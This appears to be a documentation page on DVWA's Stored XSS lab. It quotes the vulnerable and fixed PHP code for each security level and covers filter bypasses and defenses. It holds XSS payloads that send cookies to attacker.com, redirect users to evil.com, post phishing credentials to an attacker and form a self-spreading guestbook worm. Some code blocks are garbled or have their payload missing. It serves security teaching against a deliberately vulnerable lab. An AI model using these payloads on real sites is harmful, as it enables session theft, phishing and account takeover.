Skip to main content

Overview

Stored Cross-Site Scripting (XSS), also known as Persistent XSS or Type-II XSS, is a vulnerability where malicious scripts are permanently stored on the target server (typically in a database) and later retrieved and executed when users view the infected content. Key Characteristic: The malicious payload is permanently stored in the application’s database and executes automatically for every user who views the infected content.

How Stored XSS Differs from Other XSS Types

FeatureStored XSSReflected XSSDOM-based XSS
PersistencePersistent (in database)Non-persistentNon-persistent
Attack DeliveryAutomatic on page loadRequires victim to click linkRequires victim to visit crafted URL
Social EngineeringNot required after injectionRequired per victimRequired per victim
ScopeAll users viewing contentSingle victim per linkSingle victim per link
SeverityHighest (affects all users)Medium (targeted)Medium (targeted)
DetectionEasier (persisted in data)Harder (no trace after execution)Harder (client-side only)
Why Stored XSS is More Dangerous:
  • No social engineering needed after initial injection
  • Affects ALL users who view the content
  • Persists until manually removed from database
  • Can be used to create self-propagating XSS worms

Vulnerability Objective

Goal: Redirect everyone to a web page of your choosing by injecting malicious JavaScript into the guestbook that persists in the database.

Application Context

DVWA’s Stored XSS module implements a guestbook feature with two input fields:
  • Name field (max 10 characters)
  • Message field (max 50 characters)
Both fields are stored in the guestbook database table and displayed to all users.

Security Level Analysis

Low Security

The low security level provides minimal sanitization - only SQL escaping, no XSS protection. Vulnerable Code (xss_s/source/low.php:3-17):
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message);

    // Sanitize name input
    $name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name);

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
}
```html

**Vulnerability**: `mysqli_real_escape_string()` only prevents **SQL injection** - it does NOT prevent XSS. The data is stored and retrieved without HTML encoding.

**Exploitation**:

1. **Name Field**:
   ```html
   <script>alert('XSS')</script>
  1. Message Field:
    <script>document.location='http://attacker.com'</script>
    

3. **Cookie Theft**:
   ```html
   <script>fetch('http://attacker.com/steal?c='+document.cookie)</script>
The payload is stored in the database and executes for every user who views the guestbook.

Medium Security

The medium level adds protection to the message field but has inconsistent filtering on the name field. Protection Code (xss_s/source/medium.php:3-19):
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message);
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name);

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
}
```html

**Security Analysis**:
- **Message field**: Properly protected with `strip_tags()` and `htmlspecialchars()`
- **Name field**: Only removes `<script>` tags (case-sensitive)

**Vulnerability**: The name field filtering is **case-sensitive** and incomplete.

**Bypass Techniques**:

1. **Case Variation**:
   ```html
   Name: <ScRiPt>alert(1)</sCrIpT>
  1. Alternative Tags:
    Name: <img src=x onerror=alert(1)>
    Name: <svg/onload=alert(1)>
    Name: <body onload=alert(document.cookie)>
    

3. **Working Exploit**:
Name: Message: Any message

---

### High Security

The high level uses **regex filtering** on the name field to block script tag variations.

**Protection Code** (`xss_s/source/high.php:8-15`):
```php
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message);
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name);
Pattern Analysis: The regex /<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i matches variations of “script” with any characters in between (case-insensitive). Bypass Techniques: Use HTML event handlers instead of <script> tags:
  1. Image Tag:
    Name: <img src=x onerror=alert(1)>
    

2. **SVG Element**:
   ```html
   Name: <svg/onload=alert(document.cookie)>
  1. Input Focus:
    Name: <input onfocus=alert(1) autofocus>
    

4. **Redirect All Users**:
   ```html
   Name: <img src=x onerror="location.href='http://evil.com'">

Impossible Security (Secure Implementation)

The impossible level demonstrates proper XSS prevention for stored data. Secure Code (xss_s/source/impossible.php:3-26):
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message);
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name);
    $name = htmlspecialchars( $name );

    // Update database using prepared statements
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generationSessionToken();
```bash

**Security Measures**:

1. **Output Encoding**: `htmlspecialchars()` on **both** name and message fields
   ```php
   $name = htmlspecialchars( $name );
   $message = htmlspecialchars( $message );
  1. Prepared Statements: Prevents SQL injection using PDO parameter binding
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    

3. **Anti-CSRF Token**: Prevents attackers from injecting payloads via CSRF

4. **Defense in Depth**: Multiple layers of protection

**Why This Works**:
Stored: Retrieved: Rendered: <script>alert(1)</script> Display: (as plain text)

---

## Attack Scenarios

### Scenario 1: Self-Propagating XSS Worm

**Payload** (adapted to character limits):
```javascript
<script>
// Steal cookies from all users
fetch('http://attacker.com/log?victim='+document.cookie);

// Auto-post to guestbook to spread
var form = document.querySelector('form[name="guestform"]');
form.txtName.value = '<script>/*worm code*/</script>';
form.mtxMessage.value = 'Spreading...';
form.submit();
</script>
This creates a worm that:
  1. Steals cookies from every viewer
  2. Automatically posts itself to the guestbook
  3. Spreads to more users exponentially

Scenario 2: Admin Account Takeover

  1. Inject payload targeting admin actions:
    <script>
    if(document.cookie.includes('admin')){
        // Create new admin user
        fetch('/admin/create_user', {
            method: 'POST',
            body: 'username=hacker&password=pwned&role=admin'
        });
    }
    </script>
    

2. Wait for admin to view guestbook
3. Script executes with admin privileges
4. New admin account created

### Scenario 3: Persistent Phishing

```javascript
<script>
document.body.innerHTML = `
<h1>Session Expired</h1>
<form action="http://attacker.com/phish" method="POST">
    Username: <input name="user" type="text"><br>
    Password: <input name="pass" type="password"><br>
    <input type="submit" value="Login">
</form>
`;
</script>
Every user sees a fake login form, credentials sent to attacker.

Proper Defenses

1. Output Encoding (Essential)

Encode on output, not just input:
// WRONG: Encoding on input
$name = htmlspecialchars($_POST['name']);
// Store $name in database
// Later: echo $data['name']; // Double-encoded!

// RIGHT: Encode on output
$name = $_POST['name'];
// Store raw $name in database
// Later:
echo htmlspecialchars($data['name']); // Properly encoded
```bash

### 2. Context-Aware Encoding

Different contexts require different encoding:

```php
// HTML context
echo htmlspecialchars($data, ENT_QUOTES, 'UTF-8');

// JavaScript context
echo json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP);

// URL context
echo urlencode($data);

// CSS context (avoid if possible)
echo preg_replace('/[^a-zA-Z0-9]/', '', $data);

3. Content Security Policy

header("Content-Security-Policy: default-src 'self'; script-src 'self'");
```bash

Prevents inline scripts from executing, even if injected.

### 4. Input Validation (Defense in Depth)

```php
// Validate name (alphanumeric only)
if (!preg_match('/^[a-zA-Z0-9\s]{1,10}$/', $name)) {
    die('Invalid name format');
}

5. Database Design

Store metadata about content:
CREATE TABLE guestbook (
    id INT AUTO_INCREMENT,
    name VARCHAR(10),
    message VARCHAR(50),
    is_html BOOLEAN DEFAULT FALSE,  -- Flag for trusted HTML
    created_by INT,                 -- Track author
    created_at TIMESTAMP,
    PRIMARY KEY (id)
);
```bash

---

## Testing for Stored XSS

### Basic Test Payloads

1. **Basic Alert**:
   ```html
   <script>alert('XSS')</script>
  1. Image Tag:
    <img src=x onerror=alert(1)>
    

3. **SVG**:
   ```html
   <svg/onload=alert(1)>
  1. Event Handler:
    <body onload=alert(1)>
    

### Character Limit Bypass

DVWA's name field has a 10-character limit. Bypass:

```html
<!-- 10 chars: minimal payload -->
<svg/onload=alert(1)>  ❌ (23 chars)

<!-- Use short payload -->
<script>alert(1)</script>  ❌ (28 chars)

<!-- Bypass using external script -->
<script src=//evil.com/x.js></script>  ❌ (still too long)

<!-- Solution: Use HTML manipulation -->
<!-- Disable maxlength in browser DevTools, OR -->
<!-- Intercept POST request and modify parameter -->

Code Reference

Source files: vulnerabilities/xss_s/source/
  • Low: low.php:3-17 (no XSS protection)
  • Medium: medium.php:8-15 (inconsistent filtering)
  • High: high.php:14 (regex on name field)
  • Impossible: impossible.php:12-19 (proper encoding)
Guestbook form: xss_s/index.php:44-58

Key Takeaways

  1. Stored XSS is the most dangerous XSS type - affects all users automatically
  2. Blacklist filtering fails - use whitelist validation and output encoding
  3. Encode on output, not input - preserves data integrity and prevents double-encoding
  4. Context matters - HTML, JavaScript, CSS, and URL contexts need different encoding
  5. Defense in depth - combine output encoding, CSP, input validation, and CSRF protection
  6. SQL escaping ≠ XSS protection - mysqli_real_escape_string() only prevents SQLi
  7. Inconsistent protection is dangerous - protect ALL input fields equally

Build docs developers (and LLMs) love